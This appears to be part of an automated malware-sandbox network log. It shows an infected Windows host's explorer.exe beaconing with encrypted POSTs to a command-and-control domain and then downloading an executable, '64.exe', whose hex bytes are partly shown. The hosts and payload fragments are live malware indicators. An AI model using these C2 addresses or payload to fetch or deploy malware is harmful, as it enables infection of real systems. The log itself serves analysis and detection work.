Feb 16, 2023 10:02:00.986685038 CET	4657	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 6f 1f b5 9d Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuoM[y$9kfVFcI1P`YYM`}y7nQ'DVK5n/D+yzQDuvZ\
Feb 16, 2023 10:02:01.168277025 CET	4657	IN	HTTP/1.1 200 OK Date: Thu, 16 Feb 2023 09:02:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49720	211.104.254.139	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:01.480161905 CET	4658	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wxnglcyu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 249 Host: perficut.at
Feb 16, 2023 10:02:01.480161905 CET	4658	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 5e 05 d8 9a Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vu^[(^TyS2e[ci\O.vAMj'33MuU<3MDO3?SF>:cI(APq1PVqCVU ^6
Feb 16, 2023 10:02:02.693857908 CET	4659	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:02:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49721	187.245.185.123	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:03.443619013 CET	4660	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ldkleqhxq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 367 Host: perficut.at
Feb 16, 2023 10:02:03.443672895 CET	4660	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 5b 38 af 89 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vu[8/@tD~,I9=gdkXPfK(Z+[X4vh)Gs5UsEpOW/%;~w,<x.Je.f
Feb 16, 2023 10:02:04.285173893 CET	4661	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:02:03 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49722	187.212.182.57	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:04.882864952 CET	4662	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hhrmw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: perficut.at
Feb 16, 2023 10:02:04.882929087 CET	4662	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 53 47 cc 9f Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuSG\LNnc]n ^C c-G..1HSEC4[[
Feb 16, 2023 10:02:05.669652939 CET	4663	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:02:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49723	123.140.161.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:07.155514002 CET	4664	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aatjhmvt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 341 Host: perficut.at
Feb 16, 2023 10:02:07.155575991 CET	4664	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 50 3b fa a8 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuP;WRixgDaMFX@/AFRXO][WGHPINW&)w,Q%M4Ok2{QZx+sQj'
Feb 16, 2023 10:02:08.802798986 CET	4665	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:02:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49724	123.140.161.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:09.076189995 CET	4666	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gtemghry.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 249 Host: perficut.at
Feb 16, 2023 10:02:09.076255083 CET	4666	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 48 3d aa ff Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuH=TYnQD8Au&E.\|ZG)>g3SM3Vc@Dd~2VGy]6O!>E<,1Ez\%BMI~1R5
Feb 16, 2023 10:02:10.406225920 CET	4667	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:02:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49697	86.122.83.142	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:19.335999966 CET	95	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jvhoh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 126 Host: perficut.at
Feb 16, 2023 10:01:19.336046934 CET	96	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 2a 35 c3 a2 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vu5]lsky gfGAXu
Feb 16, 2023 10:01:19.615053892 CET	96	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:19 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 43 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2b 58 24 17 a4 6e 44 aa aa 13 bd cf b1 f9 6d 80 21 c1 ec 2a 14 10 94 8f Data Ascii: #\+X$nDm!*

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49725	187.245.185.123	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:10.654731035 CET	4668	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ypyiei.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: perficut.at
Feb 16, 2023 10:02:10.656716108 CET	4668	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 2a 3e b6 a9 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vu>TDZSa_N*kNdZ0~2}Y$WVzX^9GB"4K/Ni^Z:(;XWml}t@\Gl.A!
Feb 16, 2023 10:02:11.476315975 CET	4669	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:02:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 50 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 71 5a 3c 11 a0 6f 5b b5 eb 55 e5 cf b3 e4 36 91 3d c1 b5 2b 5c 5b 9f 9f c0 98 30 9a 3b 0d 16 Data Ascii: #\qZ<o[U6=+\[0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49726	91.227.16.11	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:11.721259117 CET	4670	OUT	GET /64.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: h167471.srv11.test-hf.su
Feb 16, 2023 10:02:11.792649031 CET	4671	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 16 Feb 2023 09:02:11 GMT Content-Type: application/octet-stream Content-Length: 459264 Connection: keep-alive Keep-Alive: timeout=20 Last-Modified: Thu, 16 Feb 2023 07:11:07 GMT ETag: "70200-5f4cbe68c35fb" Accept-Ranges: bytes X-Power-Supply-By: 220 Volt Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 7d cf 7a f5 1c a1 29 f5 1c a1 29 f5 1c a1 29 ce 42 a2 28 e6 1c a1 29 ce 42 a4 28 90 1c a1 29 ce 42 a5 28 e7 1c a1 29 41 80 50 29 e3 1c a1 29 41 80 52 29 8f 1c a1 29 41 80 53 29 ea 1c a1 29 28 e3 6a 29 f6 1c a1 29 f5 1c a0 29 79 1c a1 29 f5 1c a1 29 fd 1c a1 29 62 42 a3 28 f4 1c a1 29 52 69 63 68 f5 1c a1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b6 75 eb 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 32 03 00 00 e2 03 00 00 00 00 00 69 82 00 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 60 05 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 00 94 36 00 00 10 1d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1d 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 96 02 00 00 10 00 00 00 98 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 60 98 00 00 00 b0 02 00 00 9a 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 18 1b 02 00 00 50 03 00 00 1c 02 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 66 01 00 00 70 05 00 00 52 01 00 00 52 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 64 0a 00 00 00 e0 06 00 00 0c 00 00 00 a4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 65 62 75 67 5f 6f 50 19 00 00 00 f0 06 00 00 1a 00 00 00 b0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 65 6c 6f 63 00 00 94 36 00 00 00 10 07 00 00 38 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}z)))B()B()B()AP))AR))AS))(j)))y)))bB()Rich)PELuc2iP@P@`(60@P.text` `.text` .rdataP6@@.dataXfpRR@.gfidsd@@.debug_oP@B.reloc68@B
Feb 16, 2023 10:02:11.792678118 CET	4672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 0f 1e fb 56 57 53 55 81 ec 1c 04 00 00 8b 3d a8 c7 46 00 8b d7 a1 04 aa 46 00 8b Data Ascii: VWSU=FF5F3$$4$8##++3t'SSjjj:jSSj$j@Zjj9##3AD$$t$\|$N
Feb 16, 2023 10:02:11.792695999 CET	4673	IN	Data Raw: d9 8b d3 81 ca 00 20 00 00 f7 c5 02 00 00 00 75 02 8b d3 c1 e8 0b 0b d0 89 14 24 b8 07 00 00 00 33 c9 0f a2 8b f3 81 e6 00 00 00 20 c1 ee 1a 89 74 24 14 8b 34 24 81 ce 00 00 02 00 f7 c5 00 00 00 40 89 54 24 08 89 4c 24 0c 75 03 8b 34 24 8b eb 8b Data Ascii: u$3 t$4$@T$L$u4$\|$tt$\$ u@u uD=D$ =@
Feb 16, 2023 10:02:11.792714119 CET	4675	IN	Data Raw: 00 81 c4 88 00 00 00 5d 5f 5e c3 e8 8a 0b 00 00 e9 f7 fe ff ff 80 7c 35 ff 0a 75 94 52 55 68 c0 c9 46 00 e8 e2 03 02 00 83 c4 0c c6 86 be c9 46 00 00 bd c0 c9 46 00 e9 74 ff ff ff e8 43 6a 00 00 e8 54 0b 00 00 e9 7c ff ff ff 8b 8c 24 84 00 00 00 Data Ascii: ]_^\|5uRUhFFFtCjT\|$$3;Fu]_^&VWSUF$3$$uP=`FhFhD$$3;Fh
Feb 16, 2023 10:02:11.792732000 CET	4676	IN	Data Raw: ce 46 00 0c ed 44 00 c7 05 ac ce 46 00 14 ed 44 00 c7 05 b0 ce 46 00 1c ed 44 00 c7 05 b4 ce 46 00 20 ed 44 00 c7 05 b8 ce 46 00 28 ed 44 00 c7 05 bc ce 46 00 2c ed 44 00 c7 05 c0 ce 46 00 38 ed 44 00 c7 05 c4 ce 46 00 01 00 00 00 e9 bf fd ff ff Data Ascii: FDFDFDF DF(DF,DF8DFUVWS}F3$t Et2tEt'Wt}EtSD$hjPfmD$D$,@uu
Feb 16, 2023 10:02:11.792748928 CET	4677	IN	Data Raw: 00 3b c1 74 22 83 f8 40 77 06 b8 ff ff ff ff c3 8d 4c 24 0c 51 33 c9 51 52 50 51 6a 04 ff 15 64 cf 46 00 83 c4 18 c3 a1 40 cf 46 00 eb d7 a1 20 cf 46 00 eb d0 a1 00 cf 46 00 eb c9 8b f6 f3 0f 1e fb 33 d2 8d 44 24 0c 50 52 ff 74 24 10 6a ff ff 74 Data Ascii: ;t"@wL$Q3QRPQjdF@F FF3D$PRt$jt$RjhF'3D$PRt$t$t$RjhFt&'3t$Pt$jt$PjhF&'3t$Pt$t$t$PjhF
